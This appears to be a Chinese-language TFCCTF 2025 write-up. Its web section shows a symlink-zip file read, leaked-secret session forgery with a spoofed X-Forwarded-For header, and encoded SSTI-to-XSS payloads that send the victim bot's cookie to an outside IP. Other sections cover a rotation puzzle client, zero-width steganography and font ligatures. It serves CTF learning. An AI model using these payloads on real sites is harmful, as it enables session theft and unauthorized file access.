TFCCTF-2025

TFCCTF 2025

Web

SLIPPY

Slipping Jimmy keeps playing with Finger.

附件:attachment

开启docker或者启动实例配合审计看一下站点功能。主要是通过/upload路由上传一个zip压缩包;然后经过解压后展示在/files路由,同时还能下载zip压缩包中的文件。

image-20250831225922572

这很容易想到zip软路由实现任意文件下载,事实也是如此

ln -s /etc/passwd test1
zip --symlinks test1.zip test1

上传test1.zip后去下载test1文件就能得到/etc/passwd文件。但是这里并不知道flag位置。

Dockerfile中写明:

RUN rand_dir="/$(head /dev/urandom | tr -dc a-z0-9 | head -c 8)"; mkdir "$rand_dir" && echo "TFCCTF{Fake_fLag}" > "$rand_dir/flag.txt" && chmod -R +r "$rand_dir"

在根目录随机生成了一个文件夹,flag文件放在里面,所以我们需要知道根目录的文件夹的名字,软路由明显不能实现这个目的。

router/index.js中还有一个路由:

router.get('/debug/files', developmentOnly, (req, res) => {
const userDir = path.join(__dirname, '../uploads', req.query.session_id);
fs.readdir(userDir, (err, files) => {
if (err) return res.status(500).send('Error reading files');
res.render('files', { files });
});
});

fs.readdir()能够枚举目录内容,并且直接对req.query.session_id内容进行拼接,如果能访问该路由则可以通过传参?session_id=../../../../来获取根目录的内容。目前的难题还有developmentOnly,在middleware/developmentOnly.js中有声明:

module.exports = function (req, res, next) {
if (req.session.userId === 'develop' && req.ip == '127.0.0.1') {
return next();
}
res.status(403).send('Forbidden: Development access only');
};

需要满足req.session.userId === 'develop' && req.ip == '127.0.0.1',首先req.ip比较容易,在server.js配置了app.set('trust proxy', true);,我们能够通过X-Forwarded-For: 127.0.0.1来实现。

最后是req.session.userId的伪造,先看看session的配置:

app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
store: store
}));

cookie的结构为:connect.sid "s:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE"secret用于签名session,并且session全部存储在内存中,只有已经创建的session才是合法的。在server.js中已经创建过developsession

const sessionData = {
cookie: {
path: '/',
httpOnly: true,
maxAge: 1000 * 60 * 60 * 48 // 1 hour
},
userId: 'develop'
};
store.set('<REDACTED>', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});

这个session使用<REDACTED>作为标识存储,session结构的前部分是标识,.后面是使用secret来进行sha256哈希的签名,即session结构为:"s:" + sessionid + "." + sessionid.sha256(secret).base64()

经过多次的 读取/app/.env/app/server.js发现sessionidsecret都是不变的。

首先使用软连接任意文件读取/app/.env/app/server.js内容获取sessionidsecret内容:

store.set('amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E', sessionData, err => {
if (err) console.error('Failed to create develop session:', err);
else console.log('Development session created!');
});

SESSION_SECRET=3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b

伪造出developsessions:amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE,替换cookie后,加上X-Forwarded-For: 127.0.0.1请求头访问/debug/files?session_id=../../../../来获取根目录信息:

image-20250901223156845

直接软连接读取/tlhedn6f/flag.txt获得flag:TFCCTF{3at_sl1P_h4Ck_r3p3at_5af9f1}

KISSFIXESS

Kiss My Fixes.

Ain't nobody solving this now.

附件:attachment

网站接收name_input参数经过mako框架渲染后返回页面,同时还能reportnamebot,让bot也去访问该页面,并且botflag设置在cookie中。

传参name_input后,需要经过两步处理:

banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]


def escape_html(text):
"""Escapes HTML special characters in the given text."""
return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("(", "&#40;").replace(")", "&#41;")

def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", escape_html(name_to_display or ""))
template = Template(templ, lookup=lookup)
return template.render(name_to_display=name_to_display, banned="&<>()")

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):

# Parse the path and extract query parameters
parsed_url = urlparse(self.path)
params = parse_qs(parsed_url.query)
name = params.get("name_input", [""])[0]

for b in banned:
if b in name:
name = "Banned characters detected!"
print(b)

# Render and return the page
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(render_page(name_to_display=name).encode("utf-8"))

首先name_input的内容不能含有banned中的内容,并且内容中会对特殊字符进行html编码。我们的目的为实现XSS,所以需要想办法绕过这几个过滤。

我们还能发现,模板传了两个参数return template.render(name_to_display=name_to_display, banned="&<>()"),一个是 处理后的name_input,另一个是banned="&<>()"但是只有banned是通过模板渲染的,name_to_display是通过replace替换到模板上的,这意味着我们可以通过替换成${banned}之类的模板语法来触发SSTI。被过滤的字符,例如<,可以通过${banned[1]}来获取,所以我们依旧能构造出<script>标签来实现XSS。过滤的s可以使用S来替代,还有一些其他的字符也应该避免出现,构造一条如下的payload:

${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}`%61%6c%65%72%74%28%31%29`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]}

// <Script>new Function(decodeURIComponent(`%61%6c%65%72%74%28%31%29`))()</Script>
image-20250901230316144

于是,构造外带cookiepayloadbot访问,这就叫比较简单了,只要替换urlencode的内容即可:

${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}`%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%31%32%30%2e%37%36%2e%31%39%34%2e%32%35%3a%32%33%32%33%3f%61%3d%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]}
屏幕截图 2025-08-30 061835

KISSFIXESS REVENGE

Okay, NOW ain't nobody gonna solve it.

附件:attachment

根上一个相比只是增加了过滤的字符:

banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="]

把上一条payload%过滤了,但是我们还能使用String['fromCharCode'](37)来表示%:

${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6c`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`68`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`70`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`30`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`37`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`36`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`39`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`34`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`35`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`75`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]}

屏幕截图 2025-08-30 154029

Misc

TO ROTATE, OR NOT TO ROTATE

One fine evening, A had an important mission: pass a bunch of critical configurations to his good friend B.

These configs were patterns—very serious, technical things—based on segments over a neat little 3×3 grid.

But there was a problem. B was wasted. Like, “talking to the couch and thinking it’s a microwave” level drunk. So when A carefully handed over each configuration, B took one look at it, said, “Whoa, cool spinny lines!”—and rotated it randomly. Then, to add insult to intoxication, he shuffled the order of all the patterns. Absolute chaos.

Now A has a challenge: figure out which drunkenly-distorted pattern maps back to which original configuration. If he gets it all right, B promises (in slurred speech) to give him something very important: the flag.

附件:attachment

看了一下内容,基本全是线性变化,交给ai处理。大致就是服务端会给出很多数字N,我们需要将每个数字转化为几x几方格中的线段,然后服务端经过旋转后返回结果,我们需要回答这是哪个数字N旋转来的,答对1000个就能获得flag:

import socket
import ssl
import sys

# 复制服务器中的几何函数
POINTS = [(x, y) for x in range(3) for y in range(3)]

def gcd(a, b):
while b:
a, b = b, a % b
return abs(a)

def valid_segment(a, b):
if a == b: return False
dx, dy = abs(a[0]-b[0]), abs(a[1]-b[1])
return gcd(dx, dy) == 1 and 0 <= a[0] <= 2 and 0 <= a[1] <= 2 and 0 <= b[0] <= 2 and 0 <= b[1] <= 2

SEGMENTS = []
for i in range(len(POINTS)):
for j in range(i+1, len(POINTS)):
a, b = POINTS[i], POINTS[j]
if valid_segment(a, b):
A, B = sorted([a, b])
SEGMENTS.append((A, B))
SEG_INDEX = {SEGMENTS[i]: i for i in range(len(SEGMENTS))}

def rot_point(p, k):
x, y = p
x0, y0 = x - 1, y - 1
for _ in range(k % 4):
x0, y0 = -y0, x0
return (x0 + 1, y0 + 1)

def rot_segment(seg, k):
a, b = seg
ra, rb = rot_point(a, k), rot_point(b, k)
A, B = sorted([ra, rb])
return (A, B)

def canon_bits(segs):
vals = []
for k in range(4):
bits = 0
for (a, b) in segs:
A, B = sorted([a, b])
rs = rot_segment((A, B), k)
bits |= (1 << SEG_INDEX[rs])
vals.append(bits)
return min(vals)

class ChallengeClient:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = None
self.canon_to_n = {} # 存储规范形式到N的映射

def connect(self):
"""建立SSL连接"""
context = ssl.create_default_context()
sock = socket.create_connection((self.host, self.port))
self.sock = context.wrap_socket(sock, server_hostname=self.host)
print(f"Connected to {self.host}:{self.port}")

def read_line(self):
"""读取一行数据"""
line = b""
while True:
char = self.sock.recv(1)
if char == b"\n" or not char:
break
line += char
return line.decode().strip()

def send_line(self, message):
"""发送一行数据"""
self.sock.sendall((str(message) + "\n").encode())

def phase1(self):
"""处理第一阶段:注册模式"""
print("Starting Phase 1...")
question_count = 0

while True:
# 读取下一行
line = self.read_line()
# print(f"Received: {line}")

# 检查是否是 Phase 2 开始
if line == "=== Phase 2 ===":
print("Phase 2 detected!")
return True, question_count

# 检查是否是 N 值
if line.startswith("N_"):
try:
# 解析 N 值
parts = line.split(":")
n_value = int(parts[1].strip())
question_count += 1
# print(f"Processing {parts[0]}: {n_value}")

# 创建模式:使用N的二进制位来选择线段
pattern = []
for seg_index in range(len(SEGMENTS)):
if n_value & (1 << seg_index):
pattern.append(SEGMENTS[seg_index])

# 发送模式
self.send_line(len(pattern)) # 线段数量
# print(f"Send: {len(pattern)}: ",end="")
for seg in pattern:
a, b = seg
self.send_line(f"{a[0]} {a[1]} {b[0]} {b[1]}")
# print((f"{a[0]} {a[1]} {b[0]} {b[1]}"))

# 读取服务器响应
response = self.read_line()
# print(f"Server response: {response}")

if response != "OK":
if "Error" in response:
print(f"Error response: {response}")
return False, question_count
# 可能是一些警告信息,继续处理

# 存储映射关系
canon = canon_bits(pattern)
self.canon_to_n[canon] = n_value

except Exception as e:
print(f"Error processing N value: {e}")
return False, question_count
else:
# 可能是其他消息,继续读取
print(f"Unexpected message in Phase 1: {line}")
continue

return True, question_count

def phase2(self, total_questions):
"""处理第二阶段:识别模式"""
print("Starting Phase 2...")
print(f"Total questions in Phase 2: {total_questions}")

correct_count = 0

for i in range(total_questions):
# print(f"Processing question {i+1}/{total_questions}")

# 读取突变模式
header = self.read_line()
if header != "MutatedPattern:":
print(f"Unexpected header: {header}")
# 尝试继续读取,可能是错误消息
continue

# 读取线段数量
seg_count_line = self.read_line()
try:
seg_count = int(seg_count_line)
except:
print(f"Invalid segment count: {seg_count_line}")
return False, correct_count

pattern = []

# 读取所有线段
for j in range(seg_count):
line = self.read_line()
try:
x1, y1, x2, y2 = map(int, line.split())
pattern.append(((x1, y1), (x2, y2)))
except:
print(f"Invalid segment data: {line}")
return False, correct_count

# 读取提示
prompt = self.read_line()
if prompt != "Your answer for N?":
print(f"Unexpected prompt: {prompt}")
# 尝试继续
pass

# 计算规范形式并查找对应的N
try:
canon = canon_bits(pattern)
if canon in self.canon_to_n:
answer = self.canon_to_n[canon]
self.send_line(answer)

# 检查答案
response = self.read_line()
# print(f"Question {i+1} response: {response}")

if response.startswith("OK"):
correct_count += 1
elif response.startswith("Wrong"):
# 继续处理下一个问题
pass
else:
print(f"Question {i+1}: Canonical form not found!")
# 发送一个猜测值
self.send_line(1)
response = self.read_line()
print(f"Guess response: {response}")

except Exception as e:
print(f"Error processing question {i+1}: {e}")
# 发送默认答案并继续
self.send_line(1)
response = self.read_line()

print(f"Phase 2 completed: {correct_count}/{total_questions} correct")
return True, correct_count

def get_flag(self):
"""获取flag"""
print("Waiting for flag...")
flag = None
try:
while True:
line = self.read_line()
if not line:
break
print(f"Final: {line}")
if "TFCCTF{" in line:
flag = line
break
except:
pass
return flag

def run(self):
"""运行完整挑战"""
try:
self.connect()

# 读取欢迎信息
welcome = self.read_line()
print(f"Welcome: {welcome}")

# Phase 1
success, question_count = self.phase1()
if not success:
print("Phase 1 failed")
return

print(f"Phase 1 completed with {question_count} questions")

# Phase 2
success, correct_count = self.phase2(question_count)

# 获取结果
flag = self.get_flag()
if flag:
print(f"🎉 Flag found: {flag}")
else:
print(f"❌ No flag received. Correct: {correct_count}/{question_count}")

except Exception as e:
print(f"Error: {e}")
import traceback
traceback.print_exc()
finally:
if self.sock:
self.sock.close()

# 运行客户端
if __name__ == "__main__":
client = ChallengeClient("to-rotate-90dbd5a066efa1bc.challs.tfcctf.com", 1337)
client.run()

image-20250901232110369

DISCORD SHENANIGANS V5

The announcement shenanigans are in play again. As a small hint, maybe bulking up on the nothingness was the best way to hide it. ;) Go get your shovels ready!

Leave the photos alone, man! The flag is not there.

有点过于隐蔽了,去DISCORD的公告里面找找,在这条的内容里面:

image-20250901232940289

有一些零宽字符,把&ZeroWidthSpace;替换成0,&zwnj;替换成1,每8个一组转化为字符

s = "0101010001000110010000110100001101010100010001100111101101101000011010010110010001100100011001010110111001011111011100110110100001100101011011100110000101101110011010010110011101100001011011100111001101111101"

for i in range(0, len(s),8):
print(chr(int(s[i:i+8],2)),end="")

# TFCCTF{hidden_shenanigans}

Reverse

FONT LEAGUES

This time, YOU give me the flag

附件:attachment

是一个字体文件,有类似于网页字体反爬的效果,我们直接分析ttf文件,描述说,会返回O,那我们去看看什么会返回O,使用FontCreator打开。

image-20250901233615503

这个的名字就是输入后会变化的内容:one_f_eight_nine_a_nine_five_seven_a_zero_eight_one_six_e_three_b_e_a_three_f_a_zero_two_six_c_d_nine_a_four_seven_c_f_one_eight_one_f_b_two_c_zero_e_zero_c_nine_e_nine_four_four_two_a_two_c_seven_eight_three_b_zero_one_c_zero_eight_three_d_two.liga

转化成字符1f89a957a0816e3bea3fa026cd9a47cf181fb2c0e0c9e9442a2c783b01c083d2就是flag.